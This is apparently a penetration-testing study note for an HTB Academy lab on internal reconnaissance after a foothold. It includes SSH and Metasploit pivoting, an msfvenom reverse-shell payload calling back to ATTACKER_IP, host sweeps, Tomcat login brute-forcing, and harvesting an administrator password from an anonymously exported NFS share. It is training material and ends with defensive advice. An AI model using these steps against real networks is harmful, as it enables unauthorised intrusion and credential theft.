Skip to content

internal-information-gathering.md

Latest commit

 

History

History
379 lines (313 loc) · 9.87 KB

internal-information-gathering.md

File metadata and controls

379 lines (313 loc) · 9.87 KB

Internal Information Gathering

🎯 Overview

Internal Information Gathering transforms external foothold into comprehensive internal reconnaissance. Establish SSH/Metasploit pivoting, discover live hosts, enumerate Active Directory infrastructure, and exploit misconfigured services for credential harvesting and lateral movement preparation.

🔄 Pivoting Setup Methods

🔑 SSH Dynamic Port Forwarding

# Establish SSH SOCKS proxy
ssh -D 8081 -i dmz01_key root@TARGET_IP

# Verify tunnel establishment
netstat -antp | grep 8081
# Output: tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN 122808/ssh

# ProxyChains configuration
echo "socks4 127.0.0.1 8081" >> /etc/proxychains.conf

# Test connectivity
proxychains nmap -sT -p 21,22,80,8080 172.16.8.120

🎯 Metasploit Autoroute Alternative

# 1. Generate Meterpreter payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f elf > shell.elf

# 2. Transfer to target
scp -i dmz01_key shell.elf root@TARGET_IP:/tmp

# 3. Setup multi/handler
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 443
exploit

# 4. Execute payload on target
chmod +x shell.elf && ./shell.elf

# 5. Setup autoroute
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.8.0
run

🔍 Internal Host Discovery

📊 Network Scanning Approaches

# Method 1: Bash ping sweep (from pivot host)
for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from
# Results:
64 bytes from 172.16.8.3: icmp_seq=1 ttl=128 time=0.472 ms    # Domain Controller
64 bytes from 172.16.8.20: icmp_seq=1 ttl=128 time=0.433 ms   # Windows + NFS
64 bytes from 172.16.8.50: icmp_seq=1 ttl=128 time=0.642 ms   # Windows + Tomcat
64 bytes from 172.16.8.120: icmp_seq=1 ttl=64 time=0.031 ms   # DMZ host

# Method 2: Metasploit ping sweep
use post/multi/gather/ping_sweep
set RHOSTS 172.16.8.0/23
set SESSION 1
run

# Method 3: ProxyChains Nmap (slow but comprehensive)
proxychains nmap -sn 172.16.8.0/23

🎯 Discovered Infrastructure

# Network topology mapping:
172.16.8.3   - Domain Controller (DNS, Kerberos, LDAP, SMB)
172.16.8.20  - Windows Server (HTTP, NFS, RDP)  
172.16.8.50  - Windows Server (SMB, RDP, Tomcat 8080)
172.16.8.120 - DMZ Host (current position)

# Service prioritization:
High: NFS (172.16.8.20) - potential credential exposure
Medium: Tomcat (172.16.8.50) - brute force target
Low: Domain Controller (172.16.8.3) - hardened target

🔍 Service Enumeration Results

📊 172.16.8.3 - Domain Controller Analysis

# Port enumeration:
53/tcp   open  domain      # DNS
88/tcp   open  kerberos    # Kerberos authentication
135/tcp  open  epmap       # RPC endpoint mapper
139/tcp  open  netbios-ssn # NetBIOS session service
389/tcp  open  ldap        # LDAP
445/tcp  open  microsoft-ds # SMB
464/tcp  open  kpasswd     # Kerberos password change
593/tcp  open  unknown     # RPC over HTTP
636/tcp  open  ldaps       # LDAP over SSL

# SMB NULL session attempt:
proxychains enum4linux -U -P 172.16.8.3
# Result: NT_STATUS_ACCESS_DENIED (hardened configuration)
# Domain identified: INLANEFREIGHT
# Domain SID: S-1-5-21-2814148634-3729814499-1637837074

🖥️ 172.16.8.50 - Tomcat Server Analysis

# Port enumeration:
135/tcp  open  epmap       # RPC endpoint mapper
139/tcp  open  netbios-ssn # NetBIOS session service
445/tcp  open  microsoft-ds # SMB
3389/tcp open  ms-wbt-server # RDP
8080/tcp open  http-alt     # Tomcat

# Tomcat Manager brute force attempt:
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 172.16.8.50
set STOP_ON_SUCCESS true
run
# Result: No successful authentication (hardened)

🌐 172.16.8.20 - Windows Server + NFS

# Port enumeration:
80/tcp   open  http        # DotNetNuke (DNN)
111/tcp  open  sunrpc      # RPC port mapper
135/tcp  open  epmap       # RPC endpoint mapper
139/tcp  open  netbios-ssn # NetBIOS session service
445/tcp  open  microsoft-ds # SMB
2049/tcp open  nfs         # Network File System
3389/tcp open  ms-wbt-server # RDP

# NFS share discovery:
proxychains showmount -e 172.16.8.20
# Result: /DEV01 (everyone) - anonymous access enabled

📁 NFS Share Exploitation

🔍 NFS Misconfiguration Assessment

# NFS export enumeration
showmount -e 172.16.8.20
# Output: Export list for 172.16.8.20: /DEV01 (everyone)

# Mount NFS share (from pivot host)
mkdir /tmp/DEV01
mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01

# Share content analysis
ls -la /tmp/DEV01/
# Discovered:
BuildPackages.bat
CKToolbarButtons.xml  
DNN/                    # DotNetNuke directory
WatchersNET.CKEditor.sln

🔐 Credential Discovery in Config Files

# DNN configuration analysis
cd /tmp/DEV01/DNN/
ls -la

# Key files discovered:
web.config              # Primary configuration
web.Debug.config        # Debug configuration  
web.Deploy.config       # Deployment configuration
web.Release.config      # Release configuration

# Credential extraction from web.config:
cat web.config
# Discovered credentials:
<username>Administrator</username>
<password>
    <value>D0tn31Nuk3R0ck$$@123</value>
</password>

🌐 DotNetNuke (DNN) Analysis

📊 Application Assessment

# DNN installation discovery
proxychains curl http://172.16.8.20
# Result: DNN installation page

# Admin login page access
http://172.16.8.20/Login?returnurl=%2fadmin

# User registration attempt:
# Result: "Email sent to Site Administrator for verification"
# Assessment: Manual approval required (unlikely to succeed)

# Credential validation:
Administrator:D0tn31Nuk3R0ck$$@123
# Source: NFS share web.config file

🔍 Firefox SOCKS Proxy Configuration

# Firefox proxy setup:
1. Settings → General → Network Settings
2. Manual proxy configuration
3. SOCKS Host: 127.0.0.1
4. Port: 8081
5. SOCKS v5 selected
6. Proxy DNS when using SOCKS v5: enabled

# Direct internal network access:
http://172.16.8.20 → DNN installation page
http://172.16.8.20/Login → Admin authentication portal

📡 Network Traffic Analysis

🔍 Packet Capture Setup

# Traffic monitoring from pivot host
tcpdump -i ens192 -s 65535 -w ilfreight_pcap

# Capture statistics:
^C2027 packets captured
2033 packets received by filter
0 packets dropped by kernel

# Analysis workflow:
1. Transfer PCAP to attack host
2. Open in Wireshark for analysis
3. Search for cleartext credentials
4. Identify additional services/hosts
5. Map network communication patterns

📊 Network Intelligence Gathering

# Routing table analysis
ip route
# DNS configuration
cat /etc/resolv.conf
# ARP table enumeration
arp -a
# Network interface details
ifconfig -a
# Active connections
netstat -antup

🎯 Attack Surface Assessment

🔴 High-Priority Targets

# 172.16.8.20 (DEV01):
- DNN installation (potential admin access)
- NFS misconfiguration (credential exposure)
- Development environment (likely less hardened)
- Web.config credentials discovered

# 172.16.8.3 (Domain Controller):
- Active Directory services
- Kerberos authentication
- LDAP directory services
- SMB hardened (NULL session denied)

# 172.16.8.50 (Windows Server):
- Tomcat 10 installation
- RDP services available
- SMB services present
- Authentication hardened

🟡 Secondary Targets

# Additional reconnaissance opportunities:
- Full TCP port scans on discovered hosts
- UDP service discovery
- SMB share enumeration (authenticated)
- Web application directory brute forcing
- Service version vulnerability research

🛠️ Tools & Techniques Summary

🔄 Pivoting Methods

# SSH dynamic port forwarding:
ssh -D PORT -i private_key user@target

# Metasploit autoroute:
post/multi/manage/autoroute → automatic route discovery

# ProxyChains integration:
proxychains [command] → tunnel through established SOCKS proxy

🔍 Discovery Techniques

# Host discovery:
- Bash ping sweep (fast, efficient)
- Metasploit ping_sweep module
- Nmap through ProxyChains (slow but comprehensive)

# Service enumeration:
- Static Nmap binary on pivot host
- ProxyChains Nmap from attack host
- Metasploit auxiliary modules

# Credential hunting:
- NFS share mounting and analysis
- Configuration file examination
- Network traffic capture and analysis

🎯 HTB Academy Lab

📋 Lab Solution Summary

# Internal reconnaissance chain:
1. SSH pivot setup → Dynamic port forwarding (8081)
2. ProxyChains configuration → SOCKS proxy integration
3. Host discovery → Bash ping sweep identification
4. Service enumeration → Nmap through pivot
5. NFS exploitation → Anonymous share mounting
6. Credential discovery → web.config analysis
7. Flag retrieval → /DEV01/flag.txt

# Key techniques demonstrated:
- Professional pivoting methodologies
- NFS share exploitation techniques
- Configuration file credential mining
- Internal network reconnaissance

🔍 Learning Objectives

# Technical skills:
- SSH dynamic port forwarding setup
- ProxyChains configuration and usage
- NFS share mounting and enumeration
- Configuration file analysis techniques

# Professional methodology:
- Systematic internal reconnaissance
- Service prioritization strategies
- Evidence collection standards
- Network topology mapping

# Real-world application:
- Enterprise network pivoting
- Development environment exploitation
- Credential hunting in file shares
- Active Directory preparation

🛡️ Defensive Recommendations

🔒 Network Security

# Network segmentation:
- Implement proper DMZ isolation
- Restrict internal network access
- Deploy network access controls
- Monitor east-west traffic

# Service hardening:
- Disable unnecessary NFS exports
- Implement NFS access controls
- Secure configuration file storage
- Regular credential rotation

# Monitoring and detection:
- Network traffic analysis
- Unusual connection monitoring
- Privilege escalation detection
- File access auditing